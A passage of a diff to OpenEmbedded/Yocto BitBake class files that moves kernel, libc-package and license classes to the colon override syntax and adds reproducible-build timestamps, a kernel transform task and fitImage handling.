- if ${KERNEL_CC} -Q --help=joined | grep -q "\-ffile-prefix-map=<old=new>"; then
- echo "-ffile-prefix-map=${S}=/kernel-source/"
- fi
-}
+KERNEL_DEBUG_TIMESTAMPS ??= "0"
kernel_do_compile() {
unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS MACHINE
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
+
+ # setup native pkg-config variables (kconfig scripts call pkg-config directly, cannot generically be overriden to pkg-config-native)
+ export PKG_CONFIG_DIR="${STAGING_DIR_NATIVE}${libdir_native}/pkgconfig"
+ export PKG_CONFIG_PATH="$PKG_CONFIG_DIR:${STAGING_DATADIR_NATIVE}/pkgconfig"
+ export PKG_CONFIG_LIBDIR="$PKG_CONFIG_DIR"
+ export PKG_CONFIG_SYSROOT_DIR=""
+
+ if [ "${KERNEL_DEBUG_TIMESTAMPS}" != "1" ]; then
# kernel sources do not use do_unpack, so SOURCE_DATE_EPOCH may not
# be set....
if [ "${SOURCE_DATE_EPOCH}" = "" -o "${SOURCE_DATE_EPOCH}" = "0" ]; then
- olddir=`pwd`
- cd ${S}
- SOURCE_DATE_EPOCH=`git log -1 --pretty=%ct`
- # git repo not guaranteed, so fall back to REPRODUCIBLE_TIMESTAMP_ROOTFS
- if [ $? -ne 0 ]; then
- SOURCE_DATE_EPOCH=${REPRODUCIBLE_TIMESTAMP_ROOTFS}
- fi
- cd $olddir
+ # The source directory is not necessarily a git repository, so we
+ # specify the git-dir to ensure that git does not query a
+ # repository in any parent directory.
+ SOURCE_DATE_EPOCH=`git --git-dir="${S}/.git" log -1 --pretty=%ct 2>/dev/null || echo "${REPRODUCIBLE_TIMESTAMP_ROOTFS}"`
fi
ts=`LC_ALL=C date -d @$SOURCE_DATE_EPOCH`
@@ -322,22 +376,40 @@ kernel_do_compile() {
copy_initramfs
use_alternate_initrd=CONFIG_INITRAMFS_SOURCE=${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
fi
- cc_extra=$(get_cc_option)
for typeformake in ${KERNEL_IMAGETYPE_FOR_MAKE} ; do
- oe_runmake ${typeformake} CC="${KERNEL_CC} $cc_extra " LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS} $use_alternate_initrd
+ oe_runmake ${typeformake} CC="${KERNEL_CC}" LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS} $use_alternate_initrd
done
+}
+
+kernel_do_transform_kernel() {
# vmlinux.gz is not built by kernel
if (echo "${KERNEL_IMAGETYPES}" | grep -wq "vmlinux\.gz"); then
mkdir -p "${KERNEL_OUTPUT_DIR}"
gzip -9cn < ${B}/vmlinux > "${KERNEL_OUTPUT_DIR}/vmlinux.gz"
fi
}
+do_transform_kernel[dirs] = "${B}"
+addtask transform_kernel after do_compile before do_install
do_compile_kernelmodules() {
unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS MACHINE
+ if [ "${KERNEL_DEBUG_TIMESTAMPS}" != "1" ]; then
+ # kernel sources do not use do_unpack, so SOURCE_DATE_EPOCH may not
+ # be set....
+ if [ "${SOURCE_DATE_EPOCH}" = "" -o "${SOURCE_DATE_EPOCH}" = "0" ]; then
+ # The source directory is not necessarily a git repository, so we
+ # specify the git-dir to ensure that git does not query a
+ # repository in any parent directory.
+ SOURCE_DATE_EPOCH=`git --git-dir="${S}/.git" log -1 --pretty=%ct 2>/dev/null || echo "${REPRODUCIBLE_TIMESTAMP_ROOTFS}"`
+ fi
+
+ ts=`LC_ALL=C date -d @$SOURCE_DATE_EPOCH`
+ export KBUILD_BUILD_TIMESTAMP="$ts"
+ export KCONFIG_NOTIMESTAMP=1
+ bbnote "KBUILD_BUILD_TIMESTAMP: $ts"
+ fi
if (grep -q -i -e '^CONFIG_MODULES=y$' ${B}/.config); then
- cc_extra=$(get_cc_option)
- oe_runmake -C ${B} ${PARALLEL_MAKE} modules CC="${KERNEL_CC} $cc_extra " LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS}
+ oe_runmake -C ${B} ${PARALLEL_MAKE} modules CC="${KERNEL_CC}" LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS}
# Module.symvers gets updated during the
# building of the kernel modules. We need to
@@ -346,6 +418,10 @@ do_compile_kernelmodules() {
# other kernel modules and will look at this
# file to do symbol lookups
cp ${B}/Module.symvers ${STAGING_KERNEL_BUILDDIR}/
+ # 5.10+ kernels have module.lds that we need to copy for external module builds
+ if [ -e "${B}/scripts/module.lds" ]; then
+ install -Dm 0644 ${B}/scripts/module.lds ${STAGING_KERNEL_BUILDDIR}/scripts/module.lds
+ fi
else
bbnote "no modules to compile"
fi
@@ -372,12 +448,23 @@ kernel_do_install() {
#
install -d ${D}/${KERNEL_IMAGEDEST}
install -d ${D}/boot
+
+ #
+ # When including an initramfs bundle inside a FIT image, the fitImage is created after the install task
+ # by do_assemble_fitimage_initramfs.
+ # This happens after the generation of the initramfs bundle (done by do_bundle_initramfs).
+ # So, at the level of the install task we should not try to install the fitImage. fitImage is still not
+ # generated yet.
+ # After the generation of the fitImage, the deploy task copies the fitImage from the build directory to
+ # the deploy folder.
+ #
+
for imageType in ${KERNEL_IMAGETYPES} ; do
- install -m 0644 ${KERNEL_OUTPUT_DIR}/${imageType} ${D}/${KERNEL_IMAGEDEST}/${imageType}-${KERNEL_VERSION}
- if [ "${KERNEL_PACKAGE_NAME}" = "kernel" ]; then
- ln -sf ${imageType}-${KERNEL_VERSION} ${D}/${KERNEL_IMAGEDEST}/${imageType}
+ if [ $imageType != "fitImage" ] || [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ] ; then
+ install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType ${D}/${KERNEL_IMAGEDEST}/$imageType-${KERNEL_VERSION}
fi
done
+
install -m 0644 System.map ${D}/boot/System.map-${KERNEL_VERSION}
install -m 0644 .config ${D}/boot/config-${KERNEL_VERSION}
install -m 0644 vmlinux ${D}/boot/vmlinux-${KERNEL_VERSION}
@@ -385,7 +472,6 @@ kernel_do_install() {
install -d ${D}${sysconfdir}/modules-load.d
install -d ${D}${sysconfdir}/modprobe.d
}
-do_install[prefuncs] += "package_get_auto_pr"
# Must be ran no earlier than after do_kernel_checkout or else Makefile won't be in ${S}/Makefile
do_kernel_version_sanity_check() {
@@ -452,7 +538,7 @@ do_shared_workdir () {
# Copy files required for module builds
cp System.map $kerneldir/System.map-${KERNEL_VERSION}
- cp Module.symvers $kerneldir/
+ [ -e Module.symvers ] && cp Module.symvers $kerneldir/
cp .config $kerneldir/
mkdir -p $kerneldir/include/config
cp include/config/kernel.release $kerneldir/include/config/kernel.release
@@ -508,7 +594,7 @@ sysroot_stage_all () {
:
}
-KERNEL_CONFIG_COMMAND ?= "oe_runmake_call -C ${S} CC="${KERNEL_CC}" O=${B} olddefconfig || oe_runmake -C ${S} O=${B} CC="${KERNEL_CC}" oldnoconfig"
+KERNEL_CONFIG_COMMAND ?= "oe_runmake_call -C ${S} CC="${KERNEL_CC}" LD="${KERNEL_LD}" O=${B} olddefconfig || oe_runmake -C ${S} O=${B} CC="${KERNEL_CC}" LD="${KERNEL_LD}" oldnoconfig"
python check_oldest_kernel() {
oldest_kernel = d.getVar('OLDEST_KERNEL')
@@ -536,7 +622,7 @@ kernel_do_configure() {
fi
# Copy defconfig to .config if .config does not exist. This allows
- # recipes to manage the .config themselves in do_configure_prepend().
+ # recipes to manage the .config themselves in do_configure:prepend().
if [ -f "${WORKDIR}/defconfig" ] && [ ! -f "${B}/.config" ]; then
cp "${WORKDIR}/defconfig" "${B}/.config"
fi
@@ -553,34 +639,34 @@ addtask savedefconfig after do_configure
inherit cml1
-KCONFIG_CONFIG_COMMAND_append = " HOSTLDFLAGS='${BUILD_LDFLAGS}'"
+KCONFIG_CONFIG_COMMAND:append = " LD='${KERNEL_LD}' HOSTLDFLAGS='${BUILD_LDFLAGS}'"
-EXPORT_FUNCTIONS do_compile do_install do_configure
+EXPORT_FUNCTIONS do_compile do_transform_kernel do_transform_bundled_initramfs do_install do_configure
# kernel-base becomes kernel-${KERNEL_VERSION}
# kernel-image becomes kernel-image-${KERNEL_VERSION}
-PACKAGES = "${KERNEL_PACKAGE_NAME} ${KERNEL_PACKAGE_NAME}-base ${KERNEL_PACKAGE_NAME}-vmlinux ${KERNEL_PACKAGE_NAME}-image ${KERNEL_PACKAGE_NAME}-dev ${KERNEL_PACKAGE_NAME}-modules"
-FILES_${PN} = ""
-FILES_${KERNEL_PACKAGE_NAME}-base = "${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.order ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin.modinfo"
-FILES_${KERNEL_PACKAGE_NAME}-image = ""
-FILES_${KERNEL_PACKAGE_NAME}-dev = "/boot/System.map* /boot/Module.symvers* /boot/config* ${KERNEL_SRC_PATH} ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/build"
-FILES_${KERNEL_PACKAGE_NAME}-vmlinux = "/boot/vmlinux-${KERNEL_VERSION_NAME}"
-FILES_${KERNEL_PACKAGE_NAME}-modules = ""
-RDEPENDS_${KERNEL_PACKAGE_NAME} = "${KERNEL_PACKAGE_NAME}-base"
+PACKAGES = "${KERNEL_PACKAGE_NAME} ${KERNEL_PACKAGE_NAME}-base ${KERNEL_PACKAGE_NAME}-vmlinux ${KERNEL_PACKAGE_NAME}-image ${KERNEL_PACKAGE_NAME}-dev ${KERNEL_PACKAGE_NAME}-modules ${KERNEL_PACKAGE_NAME}-dbg"
+FILES:${PN} = ""
+FILES:${KERNEL_PACKAGE_NAME}-base = "${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.order ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin.modinfo"
+FILES:${KERNEL_PACKAGE_NAME}-image = ""
+FILES:${KERNEL_PACKAGE_NAME}-dev = "/boot/System.map* /boot/Module.symvers* /boot/config* ${KERNEL_SRC_PATH} ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/build"
+FILES:${KERNEL_PACKAGE_NAME}-vmlinux = "/boot/vmlinux-${KERNEL_VERSION_NAME}"
+FILES:${KERNEL_PACKAGE_NAME}-modules = ""
+RDEPENDS:${KERNEL_PACKAGE_NAME} = "${KERNEL_PACKAGE_NAME}-base (= ${EXTENDPKGV})"
# Allow machines to override this dependency if kernel image files are
# not wanted in images as standard
-RDEPENDS_${KERNEL_PACKAGE_NAME}-base ?= "${KERNEL_PACKAGE_NAME}-image"
-PKG_${KERNEL_PACKAGE_NAME}-image = "${KERNEL_PACKAGE_NAME}-image-${@legitimize_package_name('${KERNEL_VERSION}')}"
-RDEPENDS_${KERNEL_PACKAGE_NAME}-image += "${@oe.utils.conditional('KERNEL_IMAGETYPE', 'vmlinux', '${KERNEL_PACKAGE_NAME}-vmlinux', '', d)}"
-PKG_${KERNEL_PACKAGE_NAME}-base = "${KERNEL_PACKAGE_NAME}-${@legitimize_package_name('${KERNEL_VERSION}')}"
-RPROVIDES_${KERNEL_PACKAGE_NAME}-base += "${KERNEL_PACKAGE_NAME}-${KERNEL_VERSION}"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME} = "1"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME}-base = "1"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME}-image = "1"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME}-modules = "1"
-DESCRIPTION_${KERNEL_PACKAGE_NAME}-modules = "Kernel modules meta package"
-
-pkg_postinst_${KERNEL_PACKAGE_NAME}-base () {
+RRECOMMENDS:${KERNEL_PACKAGE_NAME}-base ?= "${KERNEL_PACKAGE_NAME}-image (= ${EXTENDPKGV})"
+PKG:${KERNEL_PACKAGE_NAME}-image = "${KERNEL_PACKAGE_NAME}-image-${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
+RDEPENDS:${KERNEL_PACKAGE_NAME}-image += "${@oe.utils.conditional('KERNEL_IMAGETYPE', 'vmlinux', '${KERNEL_PACKAGE_NAME}-vmlinux (= ${EXTENDPKGV})', '', d)}"
+PKG:${KERNEL_PACKAGE_NAME}-base = "${KERNEL_PACKAGE_NAME}-${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
+RPROVIDES:${KERNEL_PACKAGE_NAME}-base += "${KERNEL_PACKAGE_NAME}-${KERNEL_VERSION}"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME} = "1"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME}-base = "1"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME}-image = "1"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME}-modules = "1"
+DESCRIPTION:${KERNEL_PACKAGE_NAME}-modules = "Kernel modules meta package"
+
+pkg_postinst:${KERNEL_PACKAGE_NAME}-base () {
if [ ! -e "$D/lib/modules/${KERNEL_VERSION}" ]; then
mkdir -p $D/lib/modules/${KERNEL_VERSION}
fi
@@ -591,7 +677,7 @@ pkg_postinst_${KERNEL_PACKAGE_NAME}-base () {
fi
}
-PACKAGESPLITFUNCS_prepend = "split_kernel_packages "
+PACKAGESPLITFUNCS:prepend = "split_kernel_packages "
python split_kernel_packages () {
do_split_packages(d, root='${nonarch_base_libdir}/firmware', file_regex=r'^(.*)\.(bin|fw|cis|csp|dsp)$', output_pattern='${KERNEL_PACKAGE_NAME}-firmware-%s', description='Firmware for %s', recursive=True, extra_depends='')
@@ -613,33 +699,25 @@ do_kernel_link_images() {
if [ -f ../../../vmlinuz.bin ]; then
ln -sf ../../../vmlinuz.bin
fi
+ if [ -f ../../../vmlinux.64 ]; then
+ ln -sf ../../../vmlinux.64
+ fi
}
addtask kernel_link_images after do_compile before do_strip
-do_strip() {
- if [ -n "${KERNEL_IMAGE_STRIP_EXTRA_SECTIONS}" ]; then
- if ! (echo "${KERNEL_IMAGETYPES}" | grep -wq "vmlinux"); then
- bbwarn "image type(s) will not be stripped (not supported): ${KERNEL_IMAGETYPES}"
- return
- fi
-
- cd ${B}
- headers=`"$CROSS_COMPILE"readelf -S ${KERNEL_OUTPUT_DIR}/vmlinux | \
- grep "^ \{1,\}\[[0-9 ]\{1,\}\] [^ ]" | \
- sed "s/^ \{1,\}\[[0-9 ]\{1,\}\] //" | \
- gawk '{print $1}'`
-
- for str in ${KERNEL_IMAGE_STRIP_EXTRA_SECTIONS}; do {
- if ! (echo "$headers" | grep -q "^$str$"); then
- bbwarn "Section not found: $str";
- fi
+python do_strip() {
+ import shutil
- "$CROSS_COMPILE"strip -s -R $str ${KERNEL_OUTPUT_DIR}/vmlinux
- }; done
+ strip = d.getVar('STRIP')
+ extra_sections = d.getVar('KERNEL_IMAGE_STRIP_EXTRA_SECTIONS')
+ kernel_image = d.getVar('B') + "/" + d.getVar('KERNEL_OUTPUT_DIR') + "/vmlinux"
- bbnote "KERNEL_IMAGE_STRIP_EXTRA_SECTIONS is set, stripping sections:" \
- "${KERNEL_IMAGE_STRIP_EXTRA_SECTIONS}"
- fi;
+ if (extra_sections and kernel_image.find('boot/vmlinux') != -1):
+ kernel_image_stripped = kernel_image + ".stripped"
+ shutil.copy2(kernel_image, kernel_image_stripped)
+ oe.package.runstrip((kernel_image_stripped, 8, strip, extra_sections))
+ bb.debug(1, "KERNEL_IMAGE_STRIP_EXTRA_SECTIONS is set, stripping sections: " + \
+ extra_sections)
}
do_strip[dirs] = "${B}"
@@ -658,7 +736,7 @@ do_sizecheck() {
at_least_one_fits=
for imageType in ${KERNEL_IMAGETYPES} ; do
size=`du -ks ${B}/${KERNEL_OUTPUT_DIR}/$imageType | awk '{print $1}'`
- if [ $size -ge ${KERNEL_IMAGE_MAXSIZE} ]; then
+ if [ $size -gt ${KERNEL_IMAGE_MAXSIZE} ]; then
bbwarn "This kernel $imageType (size=$size(K) > ${KERNEL_IMAGE_MAXSIZE}(K)) is too big for your device."
else
at_least_one_fits=y
@@ -683,17 +761,34 @@ kernel_do_deploy() {
fi
for imageType in ${KERNEL_IMAGETYPES} ; do
- base_name=${imageType}-${KERNEL_IMAGE_NAME}
- install -m 0644 ${KERNEL_OUTPUT_DIR}/${imageType} $deployDir/${base_name}.bin
- symlink_name=${imageType}-${KERNEL_IMAGE_LINK_NAME}
- ln -sf ${base_name}.bin $deployDir/${symlink_name}.bin
- ln -sf ${base_name}.bin $deployDir/${imageType}
+ baseName=$imageType-${KERNEL_IMAGE_NAME}
+
+ if [ -s ${KERNEL_OUTPUT_DIR}/$imageType.stripped ] ; then
+ install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType.stripped $deployDir/$baseName${KERNEL_IMAGE_BIN_EXT}
+ else
+ install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType $deployDir/$baseName${KERNEL_IMAGE_BIN_EXT}
+ fi
+ if [ -n "${KERNEL_IMAGE_LINK_NAME}" ] ; then
+ ln -sf $baseName${KERNEL_IMAGE_BIN_EXT} $deployDir/$imageType-${KERNEL_IMAGE_LINK_NAME}${KERNEL_IMAGE_BIN_EXT}
+ fi
+ if [ "${KERNEL_IMAGETYPE_SYMLINK}" = "1" ] ; then
+ ln -sf $baseName${KERNEL_IMAGE_BIN_EXT} $deployDir/$imageType
+ fi
done
if [ ${MODULE_TARBALL_DEPLOY} = "1" ] && (grep -q -i -e '^CONFIG_MODULES=y$' .config); then
mkdir -p ${D}${root_prefix}/lib
- tar -cvzf $deployDir/modules-${MODULE_TARBALL_NAME}.tgz -C ${D}${root_prefix} lib
- ln -sf modules-${MODULE_TARBALL_NAME}.tgz $deployDir/modules-${MODULE_TARBALL_LINK_NAME}.tgz
+ if [ -n "${SOURCE_DATE_EPOCH}" ]; then
+ TAR_ARGS="--sort=name --clamp-mtime --mtime=@${SOURCE_DATE_EPOCH}"
+ else
+ TAR_ARGS=""
+ fi
+ TAR_ARGS="$TAR_ARGS --owner=0 --group=0"
+ tar $TAR_ARGS -cv -C ${D}${root_prefix} lib | gzip -9n > $deployDir/modules-${MODULE_TARBALL_NAME}.tgz
+
+ if [ -n "${MODULE_TARBALL_LINK_NAME}" ] ; then
+ ln -sf modules-${MODULE_TARBALL_NAME}.tgz $deployDir/modules-${MODULE_TARBALL_LINK_NAME}.tgz
+ fi
fi
if [ ! -z "${INITRAMFS_IMAGE}" -a x"${INITRAMFS_IMAGE_BUNDLE}" = x1 ]; then
@@ -701,16 +796,18 @@ kernel_do_deploy() {
if [ "$imageType" = "fitImage" ] ; then
continue
fi
- initramfs_base_name=${imageType}-${INITRAMFS_NAME}
- initramfs_symlink_name=${imageType}-${INITRAMFS_LINK_NAME}
- install -m 0644 ${KERNEL_OUTPUT_DIR}/${imageType}.initramfs $deployDir/${initramfs_base_name}.bin
- ln -sf ${initramfs_base_name}.bin $deployDir/${initramfs_symlink_name}.bin
+ initramfsBaseName=$imageType-${INITRAMFS_NAME}
+ install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType.initramfs $deployDir/$initramfsBaseName${KERNEL_IMAGE_BIN_EXT}
+ if [ -n "${INITRAMFS_LINK_NAME}" ] ; then
+ ln -sf $initramfsBaseName${KERNEL_IMAGE_BIN_EXT} $deployDir/$imageType-${INITRAMFS_LINK_NAME}${KERNEL_IMAGE_BIN_EXT}
+ fi
done
fi
}
-do_deploy[cleandirs] = "${DEPLOYDIR}"
-do_deploy[dirs] = "${DEPLOYDIR} ${B}"
-do_deploy[prefuncs] += "package_get_auto_pr"
+
+# We deploy to filenames that include PKGV and PKGR, read the saved data to
+# ensure we get the right values for both
+do_deploy[prefuncs] += "read_subpackage_metadata"
addtask deploy after do_populate_sysroot do_packagedata
diff --git a/meta/classes/kernelsrc.bbclass b/meta/classes/kernelsrc.bbclass
index 675d40ec9a..a951ba3325 100644
--- a/meta/classes/kernelsrc.bbclass
+++ b/meta/classes/kernelsrc.bbclass
@@ -1,7 +1,7 @@
S = "${STAGING_KERNEL_DIR}"
deltask do_fetch
deltask do_unpack
-do_patch[depends] += "virtual/kernel:do_patch"
+do_patch[depends] += "virtual/kernel:do_shared_workdir"
do_patch[noexec] = "1"
do_package[depends] += "virtual/kernel:do_populate_sysroot"
KERNEL_VERSION = "${@get_kernelversion_file("${STAGING_KERNEL_BUILDDIR}")}"
diff --git a/meta/classes/libc-common.bbclass b/meta/classes/libc-common.bbclass
deleted file mode 100644
index 0e351b6746..0000000000
--- a/meta/classes/libc-common.bbclass
+++ /dev/null
@@ -1,37 +0,0 @@
-do_install() {
- oe_runmake install_root=${D} install
- install -Dm 0644 ${WORKDIR}/etc/ld.so.conf ${D}/${sysconfdir}/ld.so.conf
- install -d ${D}${localedir}
- make -f ${WORKDIR}/generate-supported.mk IN="${S}/localedata/SUPPORTED" OUT="${WORKDIR}/SUPPORTED"
- # get rid of some broken files...
- for i in ${GLIBC_BROKEN_LOCALES}; do
- sed -i "/$i/d" ${WORKDIR}/SUPPORTED
- done
- rm -f ${D}${sysconfdir}/rpc
- rm -rf ${D}${datadir}/zoneinfo
- rm -rf ${D}${libexecdir}/getconf
-}
-
-def get_libc_fpu_setting(bb, d):
- if d.getVar('TARGET_FPU') in [ 'soft', 'ppc-efd' ]:
- return "--without-fp"
- return ""
-
-python populate_packages_prepend () {
- if d.getVar('DEBIAN_NAMES'):
- pkgs = d.getVar('PACKAGES').split()
- bpn = d.getVar('BPN')
- prefix = d.getVar('MLPREFIX') or ""
- # Set the base package...
- d.setVar('PKG_' + prefix + bpn, prefix + 'libc6')
- libcprefix = prefix + bpn + '-'
- for p in pkgs:
- # And all the subpackages.
- if p.startswith(libcprefix):
- renamed = p.replace(bpn, 'libc6', 1)
- d.setVar('PKG_' + p, renamed)
- # For backward compatibility with old -dbg package
- d.appendVar('RPROVIDES_' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
- d.appendVar('RCONFLICTS_' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
- d.appendVar('RREPLACES_' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
-}
diff --git a/meta/classes/libc-package.bbclass b/meta/classes/libc-package.bbclass
index de816bcec1..13ef8cdc0d 100644
--- a/meta/classes/libc-package.bbclass
+++ b/meta/classes/libc-package.bbclass
@@ -42,7 +42,7 @@ python __anonymous () {
# try to fix disable charsets/locales/locale-code compile fail
PACKAGE_NO_GCONV ?= "0"
-OVERRIDES_append = ":${TARGET_ARCH}-${TARGET_OS}"
+OVERRIDES:append = ":${TARGET_ARCH}-${TARGET_OS}"
locale_base_postinst_ontarget() {
localedef --inputfile=${datadir}/i18n/locales/%s --charmap=%s %s
@@ -129,9 +129,9 @@ python package_do_split_gconvs () {
deps.append(dp)
f.close()
if deps != []:
- d.setVar('RDEPENDS_%s' % pkg, " ".join(deps))
+ d.setVar('RDEPENDS:%s' % pkg, " ".join(deps))
if bpn != 'glibc':
- d.setVar('RPROVIDES_%s' % pkg, pkg.replace(bpn, 'glibc'))
+ d.setVar('RPROVIDES:%s' % pkg, pkg.replace(bpn, 'glibc'))
do_split_packages(d, gconv_libdir, file_regex=r'^(.*)\.so$', output_pattern=bpn+'-gconv-%s', \
description='gconv module for character set %s', hook=calc_gconv_deps, \
@@ -151,9 +151,9 @@ python package_do_split_gconvs () {
deps.append(dp)
f.close()
if deps != []:
- d.setVar('RDEPENDS_%s' % pkg, " ".join(deps))
+ d.setVar('RDEPENDS:%s' % pkg, " ".join(deps))
if bpn != 'glibc':
- d.setVar('RPROVIDES_%s' % pkg, pkg.replace(bpn, 'glibc'))
+ d.setVar('RPROVIDES:%s' % pkg, pkg.replace(bpn, 'glibc'))
do_split_packages(d, charmap_dir, file_regex=r'^(.*)\.gz$', output_pattern=bpn+'-charmap-%s', \
description='character map for %s encoding', hook=calc_charmap_deps, extra_depends='')
@@ -172,9 +172,9 @@ python package_do_split_gconvs () {
deps.append(dp)
f.close()
if deps != []:
- d.setVar('RDEPENDS_%s' % pkg, " ".join(deps))
+ d.setVar('RDEPENDS:%s' % pkg, " ".join(deps))
if bpn != 'glibc':
- d.setVar('RPROVIDES_%s' % pkg, pkg.replace(bpn, 'glibc'))
+ d.setVar('RPROVIDES:%s' % pkg, pkg.replace(bpn, 'glibc'))
do_split_packages(d, locales_dir, file_regex=r'(.*)', output_pattern=bpn+'-localedata-%s', \
description='locale definition for %s', hook=calc_locale_deps, extra_depends='')
@@ -210,11 +210,11 @@ python package_do_split_gconvs () {
supported[locale] = charset
def output_locale_source(name, pkgname, locale, encoding):
- d.setVar('RDEPENDS_%s' % pkgname, '%slocaledef %s-localedata-%s %s-charmap-%s' % \
+ d.setVar('RDEPENDS:%s' % pkgname, '%slocaledef %s-localedata-%s %s-charmap-%s' % \
(mlprefix, mlprefix+bpn, legitimize_package_name(locale), mlprefix+bpn, legitimize_package_name(encoding)))
- d.setVar('pkg_postinst_ontarget_%s' % pkgname, d.getVar('locale_base_postinst_ontarget') \
+ d.setVar('pkg_postinst_ontarget:%s' % pkgname, d.getVar('locale_base_postinst_ontarget') \
% (locale, encoding, locale))
- d.setVar('pkg_postrm_%s' % pkgname, d.getVar('locale_base_postrm') % \
+ d.setVar('pkg_postrm:%s' % pkgname, d.getVar('locale_base_postrm') % \
(locale, encoding, locale))
def output_locale_binary_rdepends(name, pkgname, locale, encoding):
@@ -222,8 +222,8 @@ python package_do_split_gconvs () {
lcsplit = d.getVar('GLIBC_SPLIT_LC_PACKAGES')
if lcsplit and int(lcsplit):
d.appendVar('PACKAGES', ' ' + dep)
- d.setVar('ALLOW_EMPTY_%s' % dep, '1')
- d.setVar('RDEPENDS_%s' % pkgname, mlprefix + dep)
+ d.setVar('ALLOW_EMPTY:%s' % dep, '1')
+ d.setVar('RDEPENDS:%s' % pkgname, mlprefix + dep)
commands = {}
@@ -248,6 +248,7 @@ python package_do_split_gconvs () {
"sh4": " --uint32-align=4 --big-endian ", \
"powerpc": " --uint32-align=4 --big-endian ", \
"powerpc64": " --uint32-align=4 --big-endian ", \
+ "powerpc64le": " --uint32-align=4 --little-endian ", \
"mips": " --uint32-align=4 --big-endian ", \
"mipsisa32r6": " --uint32-align=4 --big-endian ", \
"mips64": " --uint32-align=4 --big-endian ", \
@@ -292,13 +293,13 @@ python package_do_split_gconvs () {
def output_locale(name, locale, encoding):
pkgname = d.getVar('MLPREFIX', False) + 'locale-base-' + legitimize_package_name(name)
- d.setVar('ALLOW_EMPTY_%s' % pkgname, '1')
+ d.setVar('ALLOW_EMPTY:%s' % pkgname, '1')
d.setVar('PACKAGES', '%s %s' % (pkgname, d.getVar('PACKAGES')))
rprovides = ' %svirtual-locale-%s' % (mlprefix, legitimize_package_name(name))
m = re.match(r"(.*)_(.*)", name)
if m:
rprovides += ' %svirtual-locale-%s' % (mlprefix, m.group(1))
- d.setVar('RPROVIDES_%s' % pkgname, rprovides)
+ d.setVar('RPROVIDES:%s' % pkgname, rprovides)
if use_bin == "compile":
output_locale_binary_rdepends(name, pkgname, locale, encoding)
@@ -342,7 +343,7 @@ python package_do_split_gconvs () {
def metapkg_hook(file, pkg, pattern, format, basename):
name = basename.split('/', 1)[0]
metapkg = legitimize_package_name('%s-binary-localedata-%s' % (mlprefix+bpn, name))
- d.appendVar('RDEPENDS_%s' % metapkg, ' ' + pkg)
+ d.appendVar('RDEPENDS:%s' % metapkg, ' ' + pkg)
if use_bin == "compile":
makefile = oe.path.join(d.getVar("WORKDIR"), "locale-tree", "Makefile")
@@ -354,7 +355,7 @@ python package_do_split_gconvs () {
m.write("\t@echo 'Progress %d/%d'\n" % (i, total))
m.write("\t" + makerecipe + "\n\n")
d.setVar("EXTRA_OEMAKE", "-C %s ${PARALLEL_MAKE}" % (os.path.dirname(makefile)))
- d.setVarFlag("oe_runmake", "progress", "outof:Progress\s(\d+)/(\d+)")
+ d.setVarFlag("oe_runmake", "progress", r"outof:Progress\s(\d+)/(\d+)")
bb.note("Executing binary locale generation makefile")
bb.build.exec_func("oe_runmake", d)
bb.note("collecting binary locales from locale tree")
@@ -378,6 +379,6 @@ python package_do_split_gconvs () {
# We want to do this indirection so that we can safely 'return'
# from the called function even though we're prepending
-python populate_packages_prepend () {
+python populate_packages:prepend () {
bb.build.exec_func('package_do_split_gconvs', d)
}
diff --git a/meta/classes/license.bbclass b/meta/classes/license.bbclass
index 648a4d7892..813e1ea4f5 100644
--- a/meta/classes/license.bbclass
+++ b/meta/classes/license.bbclass
@@ -6,7 +6,7 @@
LICENSE_DIRECTORY ??= "${DEPLOY_DIR}/licenses"
LICSSTATEDIR = "${WORKDIR}/license-destdir/"
-# Create extra package with license texts and add it to RRECOMMENDS_${PN}
+# Create extra package with license texts and add it to RRECOMMENDS:${PN}
LICENSE_CREATE_PACKAGE[type] = "boolean"
LICENSE_CREATE_PACKAGE ??= "0"
LICENSE_PACKAGE_SUFFIX ??= "-lic"
@@ -29,10 +29,12 @@ python do_populate_lic() {
with open(os.path.join(destdir, "recipeinfo"), "w") as f:
for key in sorted(info.keys()):
f.write("%s: %s\n" % (key, info[key]))
+ oe.qa.exit_if_errors(d)
}
-# it would be better to copy them in do_install_append, but find_license_filesa is python
-python perform_packagecopy_prepend () {
+PSEUDO_IGNORE_PATHS .= ",${@','.join(((d.getVar('COMMON_LICENSE_DIR') or '') + ' ' + (d.getVar('LICENSE_PATH') or '') + ' ' + d.getVar('COREBASE') + '/meta/COPYING').split())}"
+# it would be better to copy them in do_install:append, but find_license_filesa is python
+python perform_packagecopy:prepend () {
enabled = oe.data.typed_value('LICENSE_CREATE_PACKAGE', d)
if d.getVar('CLASSOVERRIDE') == 'class-target' and enabled:
lic_files_paths = find_license_files(d)
@@ -61,15 +63,7 @@ def add_package_and_files(d):
